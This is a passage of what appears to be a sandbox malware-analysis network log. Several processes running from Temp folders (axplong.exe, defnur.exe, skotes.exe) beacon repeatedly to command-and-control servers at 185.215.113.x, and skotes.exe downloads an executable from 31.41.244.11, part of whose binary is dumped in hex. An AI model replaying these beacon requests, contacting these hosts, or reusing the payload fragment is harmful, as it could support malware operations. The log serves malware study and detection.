Dec 23, 2024 17:17:50.727528095 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:52.046044111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	49784	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:50.914839983 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:52.216914892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	49786	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:53.450088978 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:54.719957113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:54.774250031 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:55.220449924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49788	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:54.351042032 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:17:55.641021967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	49789	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:56.204035997 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:57.190493107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:57.240648031 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:57.682012081 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	49790	185.215.113.43	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:57.240806103 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 30 39 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1020934001&unit=246122658369
Dec 23, 2024 17:17:58.535972118 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	49791	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:58.001213074 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:59.282435894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	49792	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:58.086846113 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:59.402976990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:59.768145084 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:00.214939117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	49793	31.41.244.11	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:58.976623058 CET	65	OUT	GET /files/Krokodyl02/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 23, 2024 17:18:00.273211956 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:00 GMT Content-Type: application/octet-stream Content-Length: 2668544 Last-Modified: Sat, 21 Dec 2024 08:45:32 GMT Connection: keep-alive ETag: "6766802c-28b800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 ca 47 72 61 ab 29 21 61 ab 29 21 61 ab 29 21 13 2a 2a 20 6c ab 29 21 13 2a 2c 20 f5 ab 29 21 13 2a 2d 20 72 ab 29 21 70 2d 2a 20 73 ab 29 21 70 2d 2d 20 71 ab 29 21 70 2d 2c 20 47 ab 29 21 13 2a 28 20 64 ab 29 21 61 ab 28 21 3f ab 29 21 e2 2d 21 20 60 ab 29 21 e2 2d d6 21 60 ab 29 21 e2 2d 2b 20 60 ab 29 21 52 69 63 68 61 ab 29 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f4 a8 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 aa 26 00 00 1c 02 00 00 00 00 00 50 a5 23 00 00 10 00 00 00 c0 26 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%Gra)!a)!a)!** l)!, )!- r)!p-* s)!p-- q)!p-, G)!( d)!a(!?)!-! `)!-!`)!-+ `)!Richa)!PELeg&P#&@)(@'<'}(j'T@'@&@.text&& `.rdata,&&@@.data''@.fptable''@.rsrc}''@@.relocj(lL(@B
Dec 23, 2024 17:18:00.273298025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 10 8b c1 69 4d 14 53 72 84 7a 89 45 fc c1 7d fc fd 98 01 05 Data Ascii: UiMSrzE}gB%f+gSVuW=4gEEiN=YiSrz=4g8{Muuabb}@M=4gUr2i]{/eMie+m~]yf['Wsw{/s8
Dec 23, 2024 17:18:00.273313999 CET	1236	IN	Data Raw: 67 00 81 c1 5d ac 92 63 8b 45 f4 d3 2d 08 c9 67 00 05 91 d6 3b 2c 03 d8 89 4d 08 a0 0e c9 67 00 b9 e9 f2 00 00 02 c3 89 35 18 c9 67 00 a2 0e c9 67 00 8d b2 54 d3 57 a1 0f b6 c0 81 c2 e0 41 58 a1 66 2b c8 89 55 f8 8b 45 f8 0f af 05 40 c9 67 00 0f Data Ascii: g]cE-g;,Mg5ggTWAXf+UE@g5<gM/=8gg@M@gE2EEEfgEU<geu2E=g+f/f=DgG$gf
Dec 23, 2024 17:18:00.273370981 CET	1236	IN	Data Raw: 8a 64 04 c7 45 f8 0e 2a 01 db 89 45 e0 8d 81 4c 87 ff ff 0f b7 c0 b9 83 6f 00 00 89 85 6c ff ff ff 89 85 64 ff ff ff 8d 83 10 6e 00 00 0f b7 c0 89 45 90 89 45 9c 69 c6 8e 3f 00 00 c7 45 dc f4 1a 54 74 c7 85 40 ff ff ff 81 63 3b 15 2b c8 a1 24 c9 Data Ascii: dEELoldnEEi?ETt@c;+$gC)EfEf5HgLi8g 5@g]fLgfXEix^TfLg5@giMtL+LfHg+M
Dec 23, 2024 17:18:00.273390055 CET	1236	IN	Data Raw: 30 5d 89 4d b0 8b 4d c0 81 c1 71 b5 fd eb 81 45 dc a3 c4 28 13 81 45 c4 62 50 96 6e c1 f8 89 69 c0 7a 12 00 00 8d 0c 4a c7 45 f4 78 1b 23 4b 0f b7 d1 c7 45 d4 6b 1d a9 f2 0f b7 d8 0f bf c3 01 05 2c c9 67 00 66 a1 28 c9 67 00 66 03 c2 89 5d fc 66 Data Ascii: 0]MMqE(EbPnizJEx#KEk,gf(gf]f(g<igx#K]giEx#KEimPxPg+8gLffUf+fd3i}gx#KUU]]Ep3EE
Dec 23, 2024 17:18:00.273407936 CET	1236	IN	Data Raw: 45 90 89 45 9c 69 c3 93 53 00 00 8b 5d f8 d3 eb 8b 4d e8 03 8d 74 ff ff ff 2d e3 13 00 00 80 45 f0 5f 0f b7 d0 8b 85 50 ff ff ff 0f b6 f0 8d 83 29 08 00 00 66 01 05 0c c9 67 00 69 c3 b8 ea ff 79 bb 88 a8 bd ae 0f bf fa 0f af cf 01 75 c0 01 75 c4 Data Ascii: EEiS]Mt-E_P)fgiyuu+UE,gEnUM2]U;zEf]fM(gfE)EUfDgf(gffdiI']MM}Ti\eRf
Dec 23, 2024 17:18:00.273426056 CET	1236	IN	Data Raw: c8 8b c2 2b c1 89 7d c8 66 01 85 5c ff ff ff 66 8b fb 8b 85 5c ff ff ff 66 a3 20 c9 67 00 0f bf 05 28 c9 67 00 0f bf c9 0f af c8 a0 02 c9 67 00 89 45 b8 8b 45 9c 89 5d a4 66 89 0d 28 c9 67 00 8b 4d f4 89 5d fc 66 89 7d ee 89 45 90 e9 db 16 00 00 Data Ascii: +}f\f\f g(ggEE]f(gM]f}EE;)ln+Huf}]:A]+Em=]}M_+EMfXfUX@gg0g3El-~M
Dec 23, 2024 17:18:00.273493052 CET	1236	IN	Data Raw: 64 40 28 d3 fe 66 8b cb 89 5d fc 89 45 d8 0f bf c1 03 f0 80 45 f0 7f b8 fe 08 00 00 89 75 c4 66 2b c8 81 6d e0 ec 25 b9 40 8b 45 d8 66 c1 f9 0f 05 eb 2e a6 2f 03 f8 0f b7 d9 66 8b cb 89 55 f8 0f bf f1 b8 05 aa d4 17 66 89 4d ee 8b ce d3 3d 18 c9 Data Ascii: d@(f]EEuf+m%@Ef./fUfM=g}gfgEiE]}}E]]+EEEh- hf`fiE8ufTUEpkEk;<Du
Dec 23, 2024 17:18:00.273509979 CET	1236	IN	Data Raw: c8 7d 67 00 00 8b c2 0f af 45 d0 01 bd 7c ff ff ff 0f b7 f7 81 c7 95 e2 56 0d 81 6d ac b0 a4 e3 24 66 29 75 e6 03 c1 89 7d f4 89 45 d0 66 8b fb 69 c1 18 84 fe 77 66 8b ce 66 d3 2d 0c c9 67 00 8b ca 81 6d d0 68 7f bf 3f 89 5d a4 89 5d fc 89 45 f8 Data Ascii: }gE\|Vm$f)u}Efiwff-gmh?]]E(ETEE\|EPmEihEElldTEEhU(U4h`;UEEEg
Dec 23, 2024 17:18:00.273525953 CET	1236	IN	Data Raw: 75 dc 89 5d fc 05 ff eb 5a 1b c7 45 98 4e 16 39 02 89 45 b0 0f b7 05 0c c9 67 00 0f af 45 e0 89 45 e0 8b 45 a0 03 c1 66 d3 e8 66 03 05 2c c9 67 00 0f b7 c0 89 45 bc 89 45 a0 66 8b c3 66 29 05 28 c9 67 00 0f bf d0 01 15 3c c9 67 00 8d 82 6b 1d a9 Data Ascii: u]ZEN9EgEEEff,gEEff)(g<gkEEEiyfE-4gEm`UMpE+hfM]]f}f;}=g+H&E4ggEEE
Dec 23, 2024 17:18:00.393981934 CET	1236	IN	Data Raw: d3 80 89 4d 94 03 c2 89 4d 88 8b 4d f4 01 4d b0 89 85 78 ff ff ff e9 c2 03 00 00 0f b7 55 9c 39 95 48 ff ff ff 89 55 08 8b 55 f8 0f 8d 50 01 00 00 8b c2 8b 9d 48 ff ff ff 0f af 05 3c c9 67 00 8b 15 34 c9 67 00 03 1d 08 c9 67 00 80 45 f0 36 c7 45 Data Ascii: MMMMxU9HUUPH<g4ggE6E4UX<gE}gMf\|fT<fEpE~"f}uX4gX@gEgfgMM;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	49794	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:00.932713032 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:02.232134104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	49795	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:01.112112045 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:02.454638004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	49796	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:02.601408958 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:03.900096893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	49798	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:04.583930969 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:05.860223055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.9	49799	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:04.601583958 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:05.882960081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:18:05.947189093 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:06.388978004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	49801	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:07.759869099 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:08.466492891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
